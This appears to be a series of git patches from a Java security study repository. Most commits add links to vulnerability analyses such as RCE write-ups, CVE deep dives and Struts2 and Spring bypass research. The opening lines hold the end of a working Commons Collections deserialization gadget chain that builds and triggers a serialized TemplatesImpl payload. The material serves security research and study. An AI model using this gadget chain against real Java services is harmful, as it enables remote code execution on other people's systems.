classPool.get(evil.EvilTemplatesImpl.class.getName()); + TemplatesImpl templates = new TemplatesImpl(); + setFieldValue(templates, "_bytecodes", new byte[][]{ctClass.toBytecode()}); + setFieldValue(templates, "_name", "HelloTemplatesImpl"); + setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + + Constructor constructor = Class.forName("org.apache.commons.collections.functors.InvokerTransformer").getDeclaredConstructor(String.class); + constructor.setAccessible(true); + InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer"); + + Map hashMap1 = new HashMap(); + Map hashMap2 = new HashMap(); + Map lazyMap1 = LazyMap.decorate(hashMap1, transformer); + lazyMap1.put("0", "yy"); + Map lazyMap2 = LazyMap.decorate(hashMap2, transformer); + lazyMap2.put("yy", templates); + + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, 1); + hashtable.put(lazyMap2, 1); + + Field table = Class.forName("java.util.HashMap").getDeclaredField("table"); + table.setAccessible(true); + Object[] array = (Object[])table.get(hashMap1); + Object node = array[0]; + if(node == null){ + node = array[1]; + } + Field key = node.getClass().getDeclaredField("key"); + key.setAccessible(true); + key.set(node, templates); + + + ByteArrayOutputStream baos=new ByteArrayOutputStream(); + ObjectOutputStream oos= new ObjectOutputStream(baos); + oos.writeObject(hashtable); + System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); + + ByteArrayInputStream bais=new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois=new ObjectInputStream(bais); + ois.readObject(); + } +} + + ``` From 6adc81039c1b6a0eab1021e974fca680e8fdb49f Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 18 Sep 2023 09:55:59 +0800 Subject: [PATCH 063/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 使用JdkDynamicAopProxy让Jackson的触发更稳定 --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 12dd21c..d107acd 100644 --- a/README.md +++ b/README.md @@ -94,6 +94,7 @@ - [Jackson原生反序列化Gadgets(实用)](https://xz.aliyun.com/t/12485#toc-5) - [Jackson构造过程会触发利用导致中断可通过重写类解决(附上demo学习)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget/Jackson.txt(%E6%94%B9zip%E5%90%8E%E7%BC%80%E8%A7%A3%E5%8E%8B).txt) + - [从JSON1链中学习处理JACKSON链的不稳定性(使用JdkDynamicAopProxy让触发更稳定)](https://xz.aliyun.com/t/12846#toc-4) - Fastjson From f427ddce312f858ad1bed792417baa674f1c3422 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 1 Nov 2023 09:41:08 +0800 Subject: [PATCH 064/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d107acd..7fa340d 100644 --- a/README.md +++ b/README.md @@ -388,7 +388,7 @@ - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) - [Metabase-Pre auth RCE](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) - [Ivanti Sentry Authentication Bypass](https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/) - + - [UNAUTHENTICATED SERVER SIDE REQUEST FORGERY & CRLF INJECTION IN GEOSERVER WMS(CRLF注入的好例子)](https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms) From af13705594da841a051bae3f2936d38d7f390480 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 8 Nov 2023 10:11:40 +0800 Subject: [PATCH 065/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 7fa340d..2d4c3a5 100644 --- a/README.md +++ b/README.md @@ -38,6 +38,7 @@ - [JSTL(看菜鸟教程即可)](https://www.runoob.com/jsp/jsp-jstl.html) - [JEP290基础概念](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/JEP290%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/index.md) - [Java中的XXE](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/Java%E4%B8%AD%E7%9A%84XXE/index.md) + - [XML外部实体注入(XXE)攻击方式汇总(关于XXE可以延伸继续看看)](https://tttang.com/archive/1813/) - [通过反射扫描被注解修饰的类](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%80%9A%E8%BF%87%E5%8F%8D%E5%B0%84%E6%89%AB%E6%8F%8F%E8%A2%AB%E6%B3%A8%E8%A7%A3%E4%BF%AE%E9%A5%B0%E7%9A%84%E7%B1%BB/index.md) - [低版本下Java文件系统00截断](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E4%BD%8E%E7%89%88%E6%9C%AC%E4%B8%8BJava%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F00%E6%88%AA%E6%96%AD/index.md) - [有趣的XSS之Normalize](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E6%9C%89%E8%B6%A3%E7%9A%84XSS%E4%B9%8BNormalize/index.md) From 16f782d44cc3084e5789ea7e379ffa3ef15eaa59 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 9 Nov 2023 10:04:29 +0800 Subject: [PATCH 066/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新JetBrains TeamCity 任意代码执行漏洞分析(CVE-2023-42793) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 2d4c3a5..cdc1064 100644 --- a/README.md +++ b/README.md @@ -390,6 +390,7 @@ - [Metabase-Pre auth RCE](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) - [Ivanti Sentry Authentication Bypass](https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/) - [UNAUTHENTICATED SERVER SIDE REQUEST FORGERY & CRLF INJECTION IN GEOSERVER WMS(CRLF注入的好例子)](https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms) + - [JetBrains TeamCity 任意代码执行漏洞分析(CVE-2023-42793)](https://forum.butian.net/share/2514) From 8b07f3070fdd23ac46a48cc8a916e991e772d441 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 13 Nov 2023 09:51:19 +0800 Subject: [PATCH 067/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Update 某Cloud系统漏洞分析 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index cdc1064..5ee9215 100644 --- a/README.md +++ b/README.md @@ -470,7 +470,7 @@ - [安全同学讲Maven重打包的故事](https://mp.weixin.qq.com/s?__biz=MzIzOTU0NTQ0MA==&mid=2247510513&idx=1&sn=fbcd84ba56d0c04dbd28b42f10f3bfb1&chksm=e92a94fede5d1de8e8301f8efb9db5e3f1a4fc14a5e29be541668d706a77141bbbd8d63db1ac&mpshare=1&scene=1&srcid=1025aCfF1bF9RgdhX85sgkj3&sharer_sharetime=1666696525299&sharer_shareid=4a549281c7d8f067d766da5aff57a064#rd) - [某软件监控页面RCE漏洞分析(虽然过于简单,但是可以借此了解下OA系统)](https://xz.aliyun.com/t/11778) - [JDK-Xalan的XSLT整数截断漏洞利用构造](https://mp.weixin.qq.com/s/xxAtjFvk9RxWiY-pwGf8Ow) - +- [某Cloud系统漏洞分析](https://forum.butian.net/share/2529) ## 比赛反思 From 669fffbd2d5af9c27df035c8625d5755ab00a045 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 13 Nov 2023 13:48:43 +0800 Subject: [PATCH 068/113] Update README.md CVE-2023-42663 --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 5ee9215..e7a554c 100644 --- a/README.md +++ b/README.md @@ -367,6 +367,7 @@ - [Apache Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247495227&idx=1&sn=5ab9bcc3d89d57ff9799f88c3363814c&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1&scene=1&srcid=0325kmXWImZrXe0btPMEsJDY&sharer_sharetime=1679735505328&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd) - [Apache Dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索](https://yyhylh.github.io/2023/04/08/Apache%20dubbo%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2023-23638%EF%BC%89%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E6%8E%A2%E7%B4%A2/) - [Apache Dubbo反序列化漏洞(CVE-2023-23638)完整利用及工程化实践](https://yyhylh.github.io/2023/05/11/Apache%20Dubbo%20%EF%BC%88CVE-2023-23638%EF%BC%89%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8%E5%8F%8A%E5%B7%A5%E7%A8%8B%E5%8C%96%E5%AE%9E%E8%B7%B5/) + - [Apache Airflow: Bypass permission verification to view task instances of other dags(CVE-2023-42663)](https://hackerone.com/reports/2208656) - Oracle - [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) - [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) From 73942b1707f30ec26c9eefad4dbed236f63c40b8 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 16 Nov 2023 09:54:35 +0800 Subject: [PATCH 069/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新超链接-浅谈Spring中的Controller参数的验证机制(注意Hibernate Validator的正确配置) --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index e7a554c..78d5d1a 100644 --- a/README.md +++ b/README.md @@ -299,7 +299,8 @@ - [SpringBoot全局注册Filter过滤XSS](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot%E5%85%A8%E5%B1%80%E6%B3%A8%E5%86%8CFilter%E8%BF%87%E6%BB%A4XSS/index.md) -- [Springboot devtools反序列化(难点在于secret的获取,当然比如有actuator端点暴露情况下就会变得任意)](https://novysodope.github.io/2022/05/11/77/) +- [Springboot devtools反序列化(难点在于secret的获取,当然比如有actuator端点暴露情况下就会变得容易)](https://novysodope.github.io/2022/05/11/77/) +- [浅谈Spring中的Controller参数的验证机制(注意Hibernate Validator的正确配置)](https://forum.butian.net/share/2538) ## 12.Shiro From fbaa5194516335f0ff152db2db8c8c02cbdf05a6 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 24 Nov 2023 13:54:24 +0800 Subject: [PATCH 070/113] Update README.md SysAid On-Prem Software CVE-2023-47246 Vulnerability --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 78d5d1a..1b5befd 100644 --- a/README.md +++ b/README.md @@ -386,13 +386,14 @@ - Smartbi - [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) -- 其他 +- Others - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) - [Metabase-Pre auth RCE](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) - [Ivanti Sentry Authentication Bypass](https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/) - [UNAUTHENTICATED SERVER SIDE REQUEST FORGERY & CRLF INJECTION IN GEOSERVER WMS(CRLF注入的好例子)](https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms) - [JetBrains TeamCity 任意代码执行漏洞分析(CVE-2023-42793)](https://forum.butian.net/share/2514) + - [SysAid On-Prem Software(CVE-2023-47246)](https://forum.butian.net/share/2577) From c71061932edab35c111b4d4aaa9a7e810b2567a0 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 28 Nov 2023 09:30:47 +0800 Subject: [PATCH 071/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 1b5befd..25b2c27 100644 --- a/README.md +++ b/README.md @@ -369,6 +369,7 @@ - [Apache Dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索](https://yyhylh.github.io/2023/04/08/Apache%20dubbo%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2023-23638%EF%BC%89%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E6%8E%A2%E7%B4%A2/) - [Apache Dubbo反序列化漏洞(CVE-2023-23638)完整利用及工程化实践](https://yyhylh.github.io/2023/05/11/Apache%20Dubbo%20%EF%BC%88CVE-2023-23638%EF%BC%89%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8%E5%8F%8A%E5%B7%A5%E7%A8%8B%E5%8C%96%E5%AE%9E%E8%B7%B5/) - [Apache Airflow: Bypass permission verification to view task instances of other dags(CVE-2023-42663)](https://hackerone.com/reports/2208656) + - [Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)(这个漏洞适合了解RMI攻击的基础)](https://xz.aliyun.com/t/13118) - Oracle - [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) - [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) From c03df0718bfce351bd74898c1d7d4c39f42c5014 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 3 Dec 2023 10:28:47 +0800 Subject: [PATCH 072/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Apache ActiveMQ Jolokia远程代码执行不依赖JDK打法(CVE-2022-41678) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 25b2c27..998b2d6 100644 --- a/README.md +++ b/README.md @@ -370,6 +370,7 @@ - [Apache Dubbo反序列化漏洞(CVE-2023-23638)完整利用及工程化实践](https://yyhylh.github.io/2023/05/11/Apache%20Dubbo%20%EF%BC%88CVE-2023-23638%EF%BC%89%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8%E5%8F%8A%E5%B7%A5%E7%A8%8B%E5%8C%96%E5%AE%9E%E8%B7%B5/) - [Apache Airflow: Bypass permission verification to view task instances of other dags(CVE-2023-42663)](https://hackerone.com/reports/2208656) - [Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)(这个漏洞适合了解RMI攻击的基础)](https://xz.aliyun.com/t/13118) + - [Apache ActiveMQ Jolokia远程代码执行不依赖JDK打法](https://y4tacker.github.io/2023/11/30/year/2023/11/Apache-ActiveMQ-Jolokia%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8D%E4%BE%9D%E8%B5%96JDK%E6%89%93%E6%B3%95/) - Oracle - [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) - [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) From 1d588c0fd1ce5061ae8cb0e20c1851d81474083c Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 10 Dec 2023 16:07:18 +0800 Subject: [PATCH 073/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Apache Struts2 文件上传分析(S2-066) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 998b2d6..d8f412a 100644 --- a/README.md +++ b/README.md @@ -221,7 +221,7 @@ - [S2-032学习(清空_memberAccess当中excludedXXX限制通过构造函数调用/使用DefaultMemberAccess覆盖SecurityMemberAccess绕过限制)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-032%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md) - [S2-045学习(通过container获取全局共享的OgnlUtil实例来清除SecurityMemberAccess当中属性的限制)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-045%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md) - [S2-057学习(突破#context被删除限制,从attr作用域获取context对象)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-057%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md) - +- [S2-066学习(变量覆盖的有趣的例子)](https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/) ## 8.关于Tomcat的一些小研究 From b0b9d97ee735338c1d57a78d9289a015eea9c958 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 14 Dec 2023 23:06:09 +0800 Subject: [PATCH 074/113] Update README.md CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index d8f412a..8027373 100644 --- a/README.md +++ b/README.md @@ -396,6 +396,7 @@ - [UNAUTHENTICATED SERVER SIDE REQUEST FORGERY & CRLF INJECTION IN GEOSERVER WMS(CRLF注入的好例子)](https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms) - [JetBrains TeamCity 任意代码执行漏洞分析(CVE-2023-42793)](https://forum.butian.net/share/2514) - [SysAid On-Prem Software(CVE-2023-47246)](https://forum.butian.net/share/2577) + - [CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)](https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/) From 0fd015423adb489d84b5882e002a8cc67afea0e7 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 19 Dec 2023 17:13:23 +0800 Subject: [PATCH 075/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 任意文件下载漏洞的利用思考(总结非常细!) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 8027373..5487138 100644 --- a/README.md +++ b/README.md @@ -477,6 +477,7 @@ - [某软件监控页面RCE漏洞分析(虽然过于简单,但是可以借此了解下OA系统)](https://xz.aliyun.com/t/11778) - [JDK-Xalan的XSLT整数截断漏洞利用构造](https://mp.weixin.qq.com/s/xxAtjFvk9RxWiY-pwGf8Ow) - [某Cloud系统漏洞分析](https://forum.butian.net/share/2529) +- [任意文件下载漏洞的利用思考(总结非常细!)](https://mp.weixin.qq.com/s/3y62xuQJAj2gmtBSKvHHug) ## 比赛反思 From ce90a5fd10ef21877bc141a21bce49726d3e27ff Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 21 Dec 2023 10:31:22 +0800 Subject: [PATCH 076/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 浅谈Spring与安全约束SecurityConstraint --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 5487138..e5359ea 100644 --- a/README.md +++ b/README.md @@ -276,6 +276,7 @@ ## 11.Spring +-[浅谈Spring与安全约束SecurityConstraint](https://forum.butian.net/index.php/share/2283) - [SpirngBoot下结合Tomcat实现无OOB方式下的回显](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/springboot-tomcat%E5%9B%9E%E6%98%BE/index.md) From c49b9b5c8eb7c21fb69a748a7aa7a5b21299a245 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 21 Dec 2023 10:31:55 +0800 Subject: [PATCH 077/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e5359ea..53aa0eb 100644 --- a/README.md +++ b/README.md @@ -276,7 +276,7 @@ ## 11.Spring --[浅谈Spring与安全约束SecurityConstraint](https://forum.butian.net/index.php/share/2283) +- [浅谈Spring与安全约束SecurityConstraint](https://forum.butian.net/index.php/share/2283) - [SpirngBoot下结合Tomcat实现无OOB方式下的回显](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/springboot-tomcat%E5%9B%9E%E6%98%BE/index.md) From a90959efc899541adea965422ade4e8a375c79d5 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 21 Dec 2023 10:37:47 +0800 Subject: [PATCH 078/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 53aa0eb..f97791b 100644 --- a/README.md +++ b/README.md @@ -276,6 +276,7 @@ ## 11.Spring +- [浅谈SpringWeb请求解析过程(很不错的文章把低版本一些绕过的特性基本都提到了)](https://forum.butian.net/share/2214) - [浅谈Spring与安全约束SecurityConstraint](https://forum.butian.net/index.php/share/2283) - [SpirngBoot下结合Tomcat实现无OOB方式下的回显](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/springboot-tomcat%E5%9B%9E%E6%98%BE/index.md) From 51f90702af465a58323016da55ea2e024cb4e316 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 22 Dec 2023 21:26:37 +0800 Subject: [PATCH 079/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index f97791b..857f92a 100644 --- a/README.md +++ b/README.md @@ -442,6 +442,7 @@ ## 19.ASM与JVM学习 +- [目前看到关于ASM框架最详细的学习教程](https://lsieun.github.io/java/asm/) - [JAVA虚拟机执行模型(关注引入了栈映射帧,用于加快虚拟机中类验证过程的速度)](https://www.cnblogs.com/coding-way/p/6600647.html) - [What is a stack map frame](https://stackoverflow.com/questions/25109942/what-is-a-stack-map-frame) - 这里比较有意思的是:Java 1.7引入了此选项以加速类验证。框架分为两部分:变量类型和堆栈类型。第一帧由方法类型描述。在每个GOTO / JUMP调用之后,您需要提供堆栈映射框架的更新描述。为了节省空间,可以使用SAME,APPEND等选项,也可以通过指定变量类型的FULL数组再次描述所有变量。 From e581e2915cde55755a4b8eac8f5dc99888bb33b0 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sat, 23 Dec 2023 02:01:01 +0800 Subject: [PATCH 080/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新2023补天白帽大会议题 --- README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 857f92a..bb548da 100644 --- a/README.md +++ b/README.md @@ -439,15 +439,17 @@ - [网上看到的Jetty的部分解析特性(支持%uxxx)](https://www.wangan.com/p/7fyg8k2c7781675a) - ## 19.ASM与JVM学习 -- [目前看到关于ASM框架最详细的学习教程](https://lsieun.github.io/java/asm/) + - [JAVA虚拟机执行模型(关注引入了栈映射帧,用于加快虚拟机中类验证过程的速度)](https://www.cnblogs.com/coding-way/p/6600647.html) - [What is a stack map frame](https://stackoverflow.com/questions/25109942/what-is-a-stack-map-frame) - 这里比较有意思的是:Java 1.7引入了此选项以加速类验证。框架分为两部分:变量类型和堆栈类型。第一帧由方法类型描述。在每个GOTO / JUMP调用之后,您需要提供堆栈映射框架的更新描述。为了节省空间,可以使用SAME,APPEND等选项,也可以通过指定变量类型的FULL数组再次描述所有变量。 - [为什么JVM需要DUP指令](https://www.cnblogs.com/clayjj/p/7698035.html) +## 20.议题 +- [Hacking FernFlower](https://y4tacker.github.io/2023/12/22/year/2023/12/Hacking-FernFlower/) + ## 其他分享 From 7b3210f822128a65dbd04a399ffce86d87e7c195 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 27 Dec 2023 22:40:13 +0800 Subject: [PATCH 081/113] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index bb548da..6b33142 100644 --- a/README.md +++ b/README.md @@ -373,6 +373,9 @@ - [Apache Airflow: Bypass permission verification to view task instances of other dags(CVE-2023-42663)](https://hackerone.com/reports/2208656) - [Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)(这个漏洞适合了解RMI攻击的基础)](https://xz.aliyun.com/t/13118) - [Apache ActiveMQ Jolokia远程代码执行不依赖JDK打法](https://y4tacker.github.io/2023/11/30/year/2023/11/Apache-ActiveMQ-Jolokia%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8D%E4%BE%9D%E8%B5%96JDK%E6%89%93%E6%B3%95/) + - Apache OFBiz + - [Apache OFBiz漏洞 CVE-2023-49070 的前世今生(非常详细)](https://mp.weixin.qq.com/s/iAvitO6otPdHSu1SjRNX3g) + - [Apache OFBiz未授权命令执行浅析(CVE-2023-51467)](https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/) - Oracle - [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) - [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) From 99d8e846427c22efadd5c4c8d1c19db8eba17427 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 28 Dec 2023 09:34:53 +0800 Subject: [PATCH 082/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6b33142..8171c92 100644 --- a/README.md +++ b/README.md @@ -385,7 +385,7 @@ - Nacos - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) - - [Nacos 多次打非完全体方案(这人也没完全考虑到容错,但是网上暂时只有这人的,实际上在构建WriteRequest缺少setOperation)(慎用!别把别人打崩了!)](https://github.com/c0olw/NacosRce) + - [Nacos 多次打非完美方案(这人也没完全考虑到容错,但是网上暂时只有这人的,实际上在构建WriteRequest缺少setOperation)(慎用!别把别人打崩了!)](https://github.com/c0olw/NacosRce) - Adobe - [CVE-2023-29298: Adobe ColdFusion Access Control Bypass](https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/) From 88f23665f74361d42a42c527ed8866ae214f666f Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 8 Jan 2024 18:43:08 +0800 Subject: [PATCH 083/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 8171c92..a6186c1 100644 --- a/README.md +++ b/README.md @@ -367,6 +367,7 @@ - [Apache Commons JXPath 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-41852/index.md) - [Apache Commons Text 